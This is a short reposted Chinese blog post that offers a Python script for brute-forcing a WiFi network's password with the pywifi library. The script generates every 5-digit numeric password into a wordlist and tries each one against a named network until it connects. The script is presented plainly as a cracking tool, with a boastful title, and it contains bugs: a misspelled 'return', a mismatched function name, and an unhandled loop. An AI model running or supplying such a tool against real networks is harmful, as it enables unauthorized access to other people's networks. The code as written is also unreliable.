wifi密码暴力破解

转自:Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

import time
import pywifi
import itertools as its
from pywifi import const

def wificonnect(pwd):
    #抓取网卡接口
    wifi = pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        #创建wifi连接文件
        profile = pywifi.Profile()
        #要连接wifi的名称
        profile.ssid = 'jiayi'
        #网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        #wifi加密算法,一般为WPA2 PSK
        profile.akm.append(const.CIPHER_TYPE_CCMP)
        #调用密码
        profile.key = pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            retuen True
        else:
            return False
    else:
        print('已有wifi连接')
        
def readPassword(path):
    print('开始破解:')
    #密码本路径
    file = open(path, 'r')
    while True:
        try:
            pad = file.readline()
            conn = wifiConnect(pad)
            if conn:
                print('', pad)
                print()
                break
            else:
                #跳出当前循环,进行下次循环
                print('密码破解中...密码校对:',pad)
        except:
            continue
    file.close()

words = '1234567890'
path = './password.txt'
#生成密码本位数
r = its.product(words, repeat=5)
fp = open(path, 'a')
for i in r:
    fp.write(''.join(i)+'\n')
fp.close()
readPassword(path)

  

猜你喜欢

转载自www.cnblogs.com/iupoint/p/12594152.html